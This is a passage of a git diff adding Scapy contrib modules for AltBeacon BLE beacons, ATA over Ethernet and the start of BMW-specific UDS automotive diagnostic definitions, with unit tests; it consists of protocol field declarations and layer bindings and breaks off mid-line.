b/libs/scapy/contrib/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Package of contrib modules that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/altbeacon.py b/libs/scapy/contrib/altbeacon.py new file mode 100755 index 0000000..186e0e0 --- /dev/null +++ b/libs/scapy/contrib/altbeacon.py @@ -0,0 +1,82 @@ +# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- +# altbeacon.py - protocol handlers for AltBeacon +# +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Michael Farrell +# This program is published under a GPLv2 (or later) license +# +# scapy.contrib.description = AltBeacon BLE proximity beacon +# scapy.contrib.status = loads +""" +scapy.contrib.altbeacon - AltBeacon Bluetooth LE proximity beacons. + +The AltBeacon specification can be found at: https://github.com/AltBeacon/spec +""" + +from scapy.fields import ByteField, ShortField, SignedByteField, \ + StrFixedLenField +from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ + UUIDField, LowEnergyBeaconHelper +from scapy.packet import Packet + + +# When building beacon frames, one should use their own manufacturer ID. +# +# However, most software (including the AltBeacon SDK) requires explicitly +# registering particular manufacturer IDs to listen to, and the only ID used is +# that of Radius Networks (the developer of the specification). +# +# To maximise compatibility, Scapy's implementation of +# LowEnergyBeaconHelper.build_eir (for constructing frames) uses Radius +# Networks' manufacturer ID. +# +# Scapy's implementation of AltBeacon **does not** require a specific +# manufacturer ID to detect AltBeacons - it uses +# EIR_Manufacturer_Specific_Data.register_magic_payload. +RADIUS_NETWORKS_MFG = 0x0118 + + +class AltBeacon(Packet, LowEnergyBeaconHelper): + """ + AltBeacon broadcast frame type. + + https://github.com/AltBeacon/spec + """ + name = "AltBeacon" + magic = b"\xBE\xAC" + fields_desc = [ + StrFixedLenField("header", magic, len(magic)), + + # The spec says this is 20 bytes, with >=16 bytes being an + # organisational unit-specific identifier. However, the Android library + # treats this as UUID + uint16 + uint16. + UUIDField("id1", None), + + # Local identifier + ShortField("id2", None), + ShortField("id3", None), + + SignedByteField("tx_power", None), + ByteField("mfg_reserved", None), + ] + + @classmethod + def magic_check(cls, payload): + """ + Checks if the given payload is for us (starts with our magic string). + """ + return payload.startswith(cls.magic) + + def build_eir(self): + """Builds a list of EIR messages to wrap this frame.""" + + # Note: Company ID is not required by spec, but most tools only look + # for manufacturer-specific data with Radius Networks' manufacturer ID. + return LowEnergyBeaconHelper.base_eir + [ + EIR_Hdr() / EIR_Manufacturer_Specific_Data( + company_id=RADIUS_NETWORKS_MFG) / self + ] + + +EIR_Manufacturer_Specific_Data.register_magic_payload(AltBeacon) diff --git a/libs/scapy/contrib/altbeacon.uts b/libs/scapy/contrib/altbeacon.uts new file mode 100755 index 0000000..1f17cb0 --- /dev/null +++ b/libs/scapy/contrib/altbeacon.uts @@ -0,0 +1,94 @@ +% AltBeacon unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('altbeacon')" -t scapy/contrib/altbeacon.uts +# +# AltBeaconParser tests adapted from: +# https://github.com/AltBeacon/android-beacon-library/blob/master/lib/src/test/java/org/altbeacon/beacon/AltBeaconParserTest.java + ++ AltBeacon tests + += Setup + +def next_eir(p): + return EIR_Hdr(p[Padding]) + += Presence check + +AltBeacon + += AltBeaconParserTest.testRecognizeBeacon + +d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') +p = EIR_Hdr(d) + +# First is a flags header +assert EIR_Flags in p + +# Then the AltBeacon +p = next_eir(p) +assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG +assert p[AltBeacon].mfg_reserved == 9 + + += AltBeaconParserTest.testDetectsDaveMHardwareBeacon + +d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600050003be020e09526164426561636f6e20555342020a03000000000000000000000000') +p = EIR_Hdr(d) + +# First is Flags +assert EIR_Flags in p + +# Then the AltBeacon +p = next_eir(p) +assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG +assert AltBeacon in p + +# Then CompleteLocalName +p = next_eir(p) +assert p[EIR_CompleteLocalName].local_name == b'RadBeacon USB' + +# Then TX_Power_Level +p = next_eir(p) +assert p[EIR_TX_Power_Level].level == 3 + += AltBeaconParserTest.testParseWrongFormatReturnsNothing + +d = hex_bytes('02011a1aff1801ffff2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') +p = EIR_Hdr(d) + +# First is Flags +assert EIR_Flags in p + +# Then the EIR_Manufacturer_Specific_Data +p = next_eir(p) +assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG +assert AltBeacon not in p + += AltBeaconParserTest.testParsesBeaconMissingDataField + +d = hex_bytes('02011a1aff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c50000') +p = EIR_Hdr(d) + +# First is Flags +assert EIR_Flags in p + +# Then the EIR_Manufacturer_Specific_Data +p = next_eir(p) +assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG +assert p[AltBeacon].id1 == uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6') +assert p[AltBeacon].id2 == 1 +assert p[AltBeacon].id3 == 2 +assert p[AltBeacon].tx_power == -59 + += Build EIR + +p = AltBeacon( + id1=uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6'), + id2=1, + id3=2, + tx_power=-59, +) + +d = raw(p.build_eir()[-1]) +assert d == hex_bytes('1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c500') diff --git a/libs/scapy/contrib/aoe.py b/libs/scapy/contrib/aoe.py new file mode 100755 index 0000000..8617593 --- /dev/null +++ b/libs/scapy/contrib/aoe.py @@ -0,0 +1,137 @@ +# Copyright (C) 2018 antoine.torre +## +# This program is published under a GPLv2 license + + +# scapy.contrib.description = ATA Over Internet +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import FlagsField, XByteField, ByteField, XShortField, \ + ShortField, StrLenField, BitField, BitEnumField, ByteEnumField, \ + FieldLenField, PacketListField, FieldListField, MACField, PacketField, \ + ConditionalField, XIntField +from scapy.layers.l2 import Ether +from scapy.data import ETHER_ANY + + +class IssueATACommand(Packet): + name = "Issue ATA Command" + fields_desc = [FlagsField("flags", 0, 8, "zezdzzaw"), + XByteField("err_feature", 0), + ByteField("sector_count", 1), + XByteField("cmd_status", 0xec), + XByteField("lba0", 0), + XByteField("lba1", 0), + XByteField("lba2", 0), + XByteField("lba3", 0), + XByteField("lba4", 0), + XByteField("lba5", 0), + XShortField("reserved", 0), + StrLenField("data", "", + length_from=lambda x: x.sector_count * 512)] + + def extract_padding(self, s): + return "", s + + +class QueryConfigInformation(Packet): + name = "Query Config Information" + fields_desc = [ShortField("buffer_count", 0), + ShortField("firmware", 0), + ByteField("sector_count", 0), + BitField("aoe", 0, 4), + BitEnumField("ccmd", 0, 4, {0: "Read config string", + 1: "Test config string", + 2: "Test config string prefix", + 3: "Set config string", + 4: "Force set config string"}), + FieldLenField("config_length", None, length_of="config"), + StrLenField("config", None, + length_from=lambda x: x.config_length)] + + def extract_padding(self, s): + return "", s + + +class Directive(Packet): + name = "Directive" + fields_desc = [ByteField("reserved", 0), + ByteEnumField("dcmd", 0, + {0: "No directive", + 1: "Add mac address to mask list", + 2: "Delete mac address from mask list"}), + MACField("mac_addr", ETHER_ANY)] + + +class MacMaskList(Packet): + name = "Mac Mask List" + fields_desc = [ByteField("reserved", 0), + ByteEnumField("mcmd", 0, {0: "Read Mac Mask List", + 1: "Edit Mac Mask List"}), + ByteEnumField("merror", 0, {0: "", + 1: "Unspecified error", + 2: "Bad dcmd directive", + 3: "Mask List Full"}), + FieldLenField("dir_count", None, count_of="directives"), + PacketListField("directives", None, Directive, + count_from=lambda pkt: pkt.dir_count)] + + def extract_padding(self, s): + return "", s + + +class ReserveRelease(Packet): + name = "Reserve / Release" + fields_desc = [ByteEnumField("rcmd", 0, {0: "Read Reserve List", + 1: "Set Reserve List", + 2: "Force Set Reserve List"}), + FieldLenField("nb_mac", None, count_of="mac_addrs"), + FieldListField("mac_addrs", None, MACField("", ETHER_ANY), + count_from=lambda pkt: pkt.nb_mac)] + + def extract_padding(self, s): + return "", s + + +class AOE(Packet): + name = "ATA over Ethernet" + fields_desc = [BitField("version", 1, 4), + FlagsField("flags", 0, 4, ["Response", "Error", + "r1", "r2"]), + ByteEnumField("error", 0, {1: "Unrecognized command code", + 2: "Bad argument parameter", + 3: "Device unavailable", + 4: "Config string present", + 5: "Unsupported exception", + 6: "Target is reserved"}), + XShortField("major", 0xFFFF), + XByteField("minor", 0xFF), + ByteEnumField("cmd", 1, {0: "Issue ATA Command", + 1: "Query Config Information", + 2: "Mac Mask List", + 3: "Reserve / Release"}), + XIntField("tag", 0), + ConditionalField(PacketField("i_ata_cmd", IssueATACommand(), + IssueATACommand), + lambda x: x.cmd == 0), + ConditionalField(PacketField("q_conf_info", + QueryConfigInformation(), + QueryConfigInformation), + lambda x: x.cmd == 1), + ConditionalField(PacketField("mac_m_list", MacMaskList(), + MacMaskList), + lambda x: x.cmd == 2), + ConditionalField(PacketField("res_rel", ReserveRelease(), + ReserveRelease), + lambda x: x.cmd == 3)] + + def extract_padding(self, s): + return "", s + + +bind_layers(Ether, AOE, type=0x88A2) +bind_layers(AOE, IssueATACommand, cmd=0) +bind_layers(AOE, QueryConfigInformation, cmd=1) +bind_layers(AOE, MacMaskList, cmd=2) +bind_layers(AOE, ReserveRelease, cmd=3) diff --git a/libs/scapy/contrib/aoe.uts b/libs/scapy/contrib/aoe.uts new file mode 100755 index 0000000..92d2c21 --- /dev/null +++ b/libs/scapy/contrib/aoe.uts @@ -0,0 +1,44 @@ +% Regression tests for aoe module +############ +############ ++ Basic tests + += Build - Check Ethertype + +a = Ether(src="00:01:02:03:04:05") +b = AOE() +c = a / b +assert(c[Ether].type == 0x88a2) + += Build - Check default + +p = AOE() +assert(hasattr(p, "q_conf_info")) + += Build - Check Issue ATA command + +p = AOE() +p.cmd = 0 + +assert(hasattr(p, "i_ata_cmd")) + += Build - Check Query Config Information + +p = AOE() +p.cmd = 1 + +assert(hasattr(p, "q_conf_info")) + += Build - Check Mac Mask List + +p = AOE() +p.cmd = 2 + +assert(hasattr(p, "mac_m_list")) + += Build - Check ReserveRelease + +p = AOE() +p.cmd = 3 + +assert(hasattr(p, "res_rel")) diff --git a/libs/scapy/contrib/automotive/__init__.py b/libs/scapy/contrib/automotive/__init__.py new file mode 100755 index 0000000..3e26767 --- /dev/null +++ b/libs/scapy/contrib/automotive/__init__.py @@ -0,0 +1,10 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive modules that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/bmw/__init__.py b/libs/scapy/contrib/automotive/bmw/__init__.py new file mode 100755 index 0000000..986713d --- /dev/null +++ b/libs/scapy/contrib/automotive/bmw/__init__.py @@ -0,0 +1,11 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive bmw specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/bmw/definitions.py b/libs/scapy/contrib/automotive/bmw/definitions.py new file mode 100755 index 0000000..ab012ac --- /dev/null +++ b/libs/scapy/contrib/automotive/bmw/definitions.py @@ -0,0 +1,5314 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = BMW specific definitions for UDS +# scapy.contrib.status = loads + + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteField, ShortField, ByteEnumField, X3BytesField, \ + StrField, StrFixedLenField, LEIntField, LEThreeBytesField, PacketListField +from scapy.contrib.automotive.uds import UDS, UDS_RDBI, UDS_DSC, UDS_IOCBI, \ + UDS_RC, UDS_RD, UDS_RSDBI, UDS_RDBIPR + + +BMW_specific_enum = { + 0: "requestIdentifiedBCDDTCAndStatus", + 1: "requestSupportedBCDDTCAndStatus", + 2: "requestIdentified2ByteHexDTCAndStatus", + 3: "requestSupported2ByteHexDTCAndStatus", + 128: "ECUIdentificationDataTable", + 129: "ECUIdentificationScalingTable", + 134: "BMW_currentUIFdataTable", + 135: "BMW_physicalECUhardwareNumber", + 136: "BMW_changeIndex", + 137: "BMW_systemSupplierECUserialNumber", + 138: "BMW_systemSupplierSpecific", + 139: "BMW_systemSupplierSpecific", + 140: "BMW_systemSupplierSpecific", + 141: "BMW_systemSupplierSpecific", + 142: "BMW_systemSupplierSpecific", + 143: "BMW_systemSupplierSpecific", + 144: "VIN - Vehicle Identification Number", + 145: "vehicleManufacturerECUHardwareNumber", + 146: "systemSupplierECUHardwareNumber", + 147: "systemSupplierECUHardwareVersionNumber", + 148: "systemSupplierECUSoftwareNumber", + 149: "systemSupplierECUSoftwareVersionNumber", + 150: "exhaustRegulationOrTypeApprovalNumber", + 151: "systemNameOrEngineType", + 152: "repairShopCodeOrTesterSerialNumber", + 153: "programmingDate", + 154: "BMW_vehicleManufacturerECUhardwareVersionNumber", + 155: "BMW_vehicleManufacturerCodingIndex", + 156: "BMW_vehicleManufacturerDiagnosticIndex", + 157: "BMW_dateOfECUmanufacturing", + 158: "BMW_systemSupplierIndex", + 159: "BMW_vehicleManufECUsoftwareLayerVersionNumbers", + 241: "BMW / OBD tester address", + 245: "OBD via function bus", + 250: "MOST tester address"} + +BMW_memoryTypeIdentifiers = { + 0: "BMW_linearAddressRange", + 1: "BMW_ROM_EPROM_internal", + 2: "BMW_ROM_EPROM_external", + 3: "BMW_NVRAM_characteristicZones_DTCmemory", + 4: "BMW_RAM_internal_shortMOV", + 5: "BMW_RAM_external_xDataMOV", + 6: "BMW_flashEPROM_internal", + 7: "BMW_UIFmemory", + 8: "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs", + 9: "BMW_flashEPROM_external", + 11: "BMW_RAM_internal_longMOVatRegister"} + + +class IOCBLI_REQ(Packet): + name = 'InputOutputControlByLocalIdentifier_Request' + fields_desc = [ + ByteField('inputOutputLocalIdentifier', 1), + ByteEnumField('inputOutputControlParameter', 0, + {0: "returnControlToECU", + 1: "reportCurrentState", + 2: "reportIOConditions", + 3: "reportIOScaling", + 4: "resetToDefault", + 5: "freezeCurrentState", + 6: "executeControlOption", + 7: "shortTermAdjustment", + 8: "longTerAdjustment", + 9: "reportIOCalibrationParameters"})] + + +bind_layers(UDS, IOCBLI_REQ, service=0x30) +UDS.services[0x30] = 'InputOutputControlByLocalIdentifier' + + +class RDTCBS_REQ(Packet): + name = 'ReadDTCByStatus_Request' + fields_desc = [ + ByteEnumField('statusOfDTC', 0, BMW_specific_enum), + ShortField('groupOfDTC', 0)] + + +bind_layers(UDS, RDTCBS_REQ, service=0x18) +UDS.services[0x18] = 'ReadDTCByStatus' + + +class RSODTC_REQ(Packet): + name = 'ReadStatusOfDTC_Request' + fields_desc = [ + ShortField('groupOfDTC', 0)] + + +bind_layers(UDS, RSODTC_REQ, service=0x17) +UDS.services[0x17] = 'ReadStatusOfDTC' + + +class REI_IDENT_REQ(Packet): + name = 'Read ECU Identification_Request' + fields_desc = [ + ByteEnumField('identificationDataTable', 0, BMW_specific_enum)] + + +bind_layers(UDS, REI_IDENT_REQ, service=0x1a) +UDS.services[0x1a] = 'ReadECUIdentification' + + +class SPRBLI_REQ(Packet): + name = 'StopRoutineByLocalIdentifier_Request' + fields_desc = [ + ByteEnumField('localIdentifier', 0, + {1: "codingChecksum", + 2: "clearMemory", + 3: "clearHistoryMemory", + 4: "selfTest", + 5: "powerDown", + 6: "clearDTCshadowMemory", + 7: "requestForAuthentication", + 8: "releaseAuthentication", + 9: "checkSignature", + 10: "checkProgrammingStatus", + 11: "executeDiagnosticService", + 12: "controlEnergySavingMode", + 13: "resetSystemFaultMessage", + 14: "timeControlledPowerdown", + 15: "disableCommunicationOverGateway", + 31: "SweepingTechnologies"}), + StrField('routineExitOption', b"")] + + +bind_layers(UDS, SPRBLI_REQ, service=0x32) +UDS.services[0x32] = 'StopRoutineByLocalIdentifier' + + +class ENMT_REQ(Packet): + name = 'EnableNormalMessageTransmission_Request' + fields_desc = [ + ByteEnumField('responseRequired', 0, {1: "yes", 2: "no"})] + + +bind_layers(UDS, ENMT_REQ, service=0x29) +UDS.services[0x29] = 'EnableNormalMessageTransmission' + + +class WDBLI_REQ(Packet): + name = 'WriteDataByLocalIdentifier_Request' + fields_desc = [ + ByteEnumField('recordLocalIdentifier', 0, {144: "shortVIN"}), + StrField('recordValue', b"")] + + +bind_layers(UDS, WDBLI_REQ, service=0x3b) +UDS.services[0x3b] = 'WriteDataByLocalIdentifier' + + +class RDS2TCM_REQ(Packet): + name = 'ReadDS2TroubleCodeMemory_Request' + fields_desc = [ + ByteField('DS2faultNumber', 0)] + + +bind_layers(UDS, RDS2TCM_REQ, service=0xa0) +UDS.services[0xa0] = 'ReadDS2TroubleCodeMemory' + + +class RDBLI_REQ(Packet): + name = 'ReadDataByLocalIdentifier_Request' + fields_desc = [ + ByteField('recordLocalIdentifier', 0)] + + +bind_layers(UDS, RDBLI_REQ, service=0x21) +UDS.services[0x21] = 'ReadDataByLocalIdentifier' + + +class RRRBA_REQ(Packet): + name = 'RequestRoutineResultsByAddress_Request' + fields_desc = [ + X3BytesField('routineAddress', 0), + ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers)] + + +bind_layers(UDS, RRRBA_REQ, service=0x3a) +UDS.services[0x3a] = 'RequestRoutineResultsByAddress' + + +class RRRBLI_REQ(Packet): + name = 'RequestRoutineResultsByLocalIdentifier_Request' + fields_desc = [ + ByteField('routineLocalID', 0)] + + +bind_layers(UDS, RRRBLI_REQ, service=0x33) +UDS.services[0x33] = 'RequestRoutineResultsByLocalIdentifier' + + +class SPRBA_REQ(Packet): + name = 'StopRoutineByAddress_Request' + fields_desc = [ + X3BytesField('routineAddress', 0), + ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), + StrField('routineExitOption', 0)] + + +bind_layers(UDS, SPRBA_REQ, service=0x39) +UDS.services[0x39] = 'StopRoutineByAddress' + + +class STRBA_REQ(Packet): + name = 'StartRoutineByAddress_Request' + fields_desc = [ + X3BytesField('routineAddress', 0), + ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers), + StrField('routineEntryOption', 0)] + + +bind_layers(UDS, STRBA_REQ, service=0x38) +UDS.services[0x38] = 'StartRoutineByAddress' + + +class UDS2S_REQ(Packet): + name = 'UnpackDS2Service_Request' + fields_desc = [ + ByteField('DS2ECUAddress', 0), + ByteField('DS2requestLength', 0), + ByteField('DS2ControlByte', 0), + StrField('DS2requestParameters', 0)] + + +bind_layers(UDS, UDS2S_REQ, service=0xa5) +UDS.services[0xa5] = 'UnpackDS2Service' + + +class SVK_DateField(LEThreeBytesField): + def i2repr(self, pkt, x): + x = self.addfield(pkt, b"", x) + return "%02X.%02X.20%02X" % (x[0], x[1], x[2]) + + +class SVK_Entry(Packet): + fields_desc = [ + ByteEnumField("processClass", 0, {1: "HWEL", 2: "HWAP", 4: "GWTB", + 5: "CAFD", 6: "BTLD", 7: "FLSL", + 8: "SWFL"}), + StrFixedLenField("svk_id", b"", length=4), + ByteField("mainVersion", 0), + ByteField("subVersion", 0), + ByteField("patchVersion", 0)] + + def extract_padding(self, p): + return b"", p + + +class SVK(Packet): + prog_status_enum = { + 1: "signature check and programming-dependencies check passed", + 2: "software entry invalid or programming-dependencies check failed", + 3: "software entry incompatible to hardware entry", + 4: "software entry incompatible with other software entry"} + + fields_desc = [ + ByteEnumField("prog_status1", 0, prog_status_enum), + ByteEnumField("prog_status2", 0, prog_status_enum), + ShortField("entries_count", 0), + SVK_DateField("prog_date", b'\x00\x00\x00'), + ByteField("pad1", 0), + LEIntField("prog_milage", 0), + StrFixedLenField("pad2", 0, length=5), + PacketListField("entries", [], cls=SVK_Entry, + count_from=lambda x: x.entries_count)] + + +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf101) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf102) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf103) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf104) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf105) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf106) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf107) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf108) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf109) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10a) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10b) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10c) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10d) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10e) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10f) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf110) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf111) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf112) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf113) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf114) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf115) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf116) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf117) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf118) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf119) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11a) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11b) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11c) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11d) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11e) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11f) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf120) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf121) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf122) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf123) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf124) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf125) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf126) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf127) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf128) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf129) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12a) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12b) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12c) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12d) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12e) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf12f) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf130) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf131) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf132) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf133) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf134) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf135) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf136) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf137) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf138) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf139) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13a) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13b) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13c) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13d) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13e) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf13f) +bind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf140) + + +UDS_RDBI.dataIdentifiers[0x0014] = "RDBCI_IS_LESEN_DETAIL_REQ" +UDS_RDBI.dataIdentifiers[0x0015] = "RDBCI_HS_LESEN_DETAIL_REQ" +UDS_RDBI.dataIdentifiers[0x0e80] = "AirbagLock" +UDS_RDBI.dataIdentifiers[0x1000] = "testStamp" +UDS_RDBI.dataIdentifiers[0x1001] = "CBSdata" +UDS_RDBI.dataIdentifiers[0x1002] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1003] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1004] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1005] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1006] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1007] = "smallUserInformationField" +UDS_RDBI.dataIdentifiers[0x1008] = "smallUserInformationFieldBMWfast" +UDS_RDBI.dataIdentifiers[0x1009] = "vehicleProductionDate" +UDS_RDBI.dataIdentifiers[0x100a] = "energySavingState" # or EnergyMode +UDS_RDBI.dataIdentifiers[0x100b] = "Istep" # or I-Stufe +UDS_RDBI.dataIdentifiers[0x100d] = "gatewayTableVersionNumber" +UDS_RDBI.dataIdentifiers[0x100e] = "ExtendedMode" +UDS_RDBI.dataIdentifiers[0x1010] = "fullVehicleIdentificationNumber" +UDS_RDBI.dataIdentifiers[0x1011] = "vehicleType" +UDS_RDBI.dataIdentifiers[0x1012] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1013] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1014] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1015] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1016] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1017] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1018] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1019] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101a] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101b] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101c] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101d] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101e] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x101f] = "chipCardData_1012_101F" +UDS_RDBI.dataIdentifiers[0x1600] = "IdentifyNumberofSubbusMembers" +UDS_RDBI.dataIdentifiers[0x1601] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1602] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1603] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1604] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1605] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1606] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1607] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1608] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1609] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160d] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160e] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x160f] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1610] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1611] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1612] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1613] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1614] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1615] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1616] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1617] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1618] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x1619] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161a] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161b] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161c] = "SubbusMemberSerialNumber" +UDS_RDBI.dataIdentifiers[0x161d] = 